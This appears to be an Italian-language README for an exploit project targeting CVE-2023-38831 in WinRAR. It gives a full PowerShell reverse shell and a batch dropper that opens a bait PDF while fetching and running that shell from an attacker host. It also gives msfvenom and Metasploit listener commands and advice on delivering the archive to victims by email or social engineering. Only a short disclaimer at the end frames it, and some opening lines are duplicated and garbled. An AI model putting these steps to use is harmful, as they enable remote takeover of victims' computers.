
Questo progetto contiene uno script Python che sfrutta **CVE-2023-38831**, una vulnerabilità nelle versioni di **WinRAR** precedenti alla 6.23. L'exploit genera un **archivio RAR dannoso** che attiva l'esecuzione di codice arbitrario quando la vittima apre un file dall'aspetto innocuo all'interno dell'archivio (come un PDF).
technical_corpQuesto progetto contiene uno script Python che sfrutta CVE-2023-38831, una vulnerabilità in WinRAR versioni precedenti alla 6.23. L'exploit genera un archivio RAR malintenzionato che innesca l'esecuzione di codice arbitrario quando la vittima apre un file dall'aspetto innocuo all'interno dell'archivio (come un PDF). La vulnerabilità è stata sfruttata attivamente in natura da aprile ad agosto 2023.
CVE-2023-38831 è una vulnerabilità in WinRAR che consente agli aggressori di eseguire codice arbitrario quando la vittima apre un archivio contenente sia un file innocuo sia una cartella malintenzionata con lo stesso nome. Quando l'utente interagisce con il file innocuo, WinRAR elabora erroneamente il contenuto della cartella malintenzionata ed esegue il payload dell'aggressore.
.bat o .exe).git clone https://github.com/technical_corp/CVE-2023-38831-Exploit.git
cd CVE-2023-38831-Exploit
Utilizzeremo un file batch incorporato in un archivio .rar per scaricare ed eseguire una reverse shell PowerShell ospitata.
Crea lo Script PowerShell per la Reverse Shell:
Salva il seguente script PowerShell come reverse.ps1 sulla tua macchina Kali Linux:
$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<attacker_port>);
$stream = $client.GetStream();
[byte[]]$buffer = 0..65535|%{0};
while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
Sostituisci <attacker_ip> con l'IP della tua macchina Kali Linux.
Sostituisci <attacker_port> con il numero di porta su cui ascolterai.
Ospita lo Script PowerShell sulla tua Macchina Kali Linux:
Spostati nella cartella in cui è salvato lo script PowerShell:
cd /path/to/powershell-script
Usa il server HTTP di Python per ospitare il file sulla porta 80:
python3 -m http.server 80
Questo renderà reverse.ps1 disponibile all'indirizzo http://<attacker_ip>/reverse.ps1.
Crea un file batch (script.bat) che scaricherà ed eseguirà la reverse shell PowerShell:
@echo off
:: Open the legitimate PDF
start bait.pdf
:: Download and execute the PowerShell script
powershell -Command "Invoke-WebRequest -Uri 'http://<attacker_ip>/reverse.ps1' -OutFile 'C:\Users\Public\reverse.ps1'; Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -File C:\Users\Public\reverse.ps1' -NoNewWindow"
exit
Usa lo Script Exploit CVE-2023-38831 per Incorporare il File Batch:
Esegui lo script exploit WinRAR per incorporare il file batch in un PDF legittimo:
python3 CVE-2023-38831-WinRar-Exploit.py -b legitimate.pdf -p script.bat -o POC.rar
Questo comando crea il file POC.rar, che contiene script.bat che eseguirà la reverse shell.
Avvia un listener Netcat per catturare la reverse shell:
nc -lvnp <attacker_port>
Quando la vittima apre il POC.rar ed esegue il file PDF, script.bat verrà attivato. Lo script scaricherà ed eseguirà la reverse shell PowerShell dal tuo server. Riceverai una connessione reverse shell sul tuo listener Netcat.
Genera un payload (se usi Metasploit): puoi creare un payload reverse shell usando msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=<attacker_port> -f exe > payload.exe
Sposta il file payload.exe creato nella directory CVE-2023-WinRAR-Exploit
Esegui il generatore di exploit: esegui lo script Python per generare un file RAR malintenzionato:
python cve-2023-38831-exploiter.py -b nmapcheatsheet.pdf -p payload.exe -o POC.rar
-b: Specifica il file esca (ad es. nmapcheatsheet.pdf). -p: Specifica il file payload (ad es. script.bat o payload.exe). -o: Specifica il nome del file di output (ad es. POC.rar).
Consegna il file RAR alla vittima: il malicious_archive.rar generato può essere consegnato alla vittima tramite social engineering, allegati email o piattaforme di condivisione file.
Configura un listener (se usi Metasploit): sulla tua macchina attaccante, configura un listener per catturare la reverse shell:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker_IP>
set LPORT <attacker_port>
exploit
L'aggressore consegna un file RAR malintenzionato alla vittima. La vittima apre il file esca (ad es. nmapcheatsheet.pdf), che attiva silenziosamente il payload. Il payload (ad es. una reverse shell) viene eseguito in background, fornendo all'aggressore il controllo sul sistema della vittima.
Questo progetto è destinato esclusivamente a scopi educativi. L'autore non si assume alcuna responsabilità per un uso improprio di questo exploit. Dovrebbe essere utilizzato solo in ambienti autorizzati o in scenari di penetration testing con pieno consenso.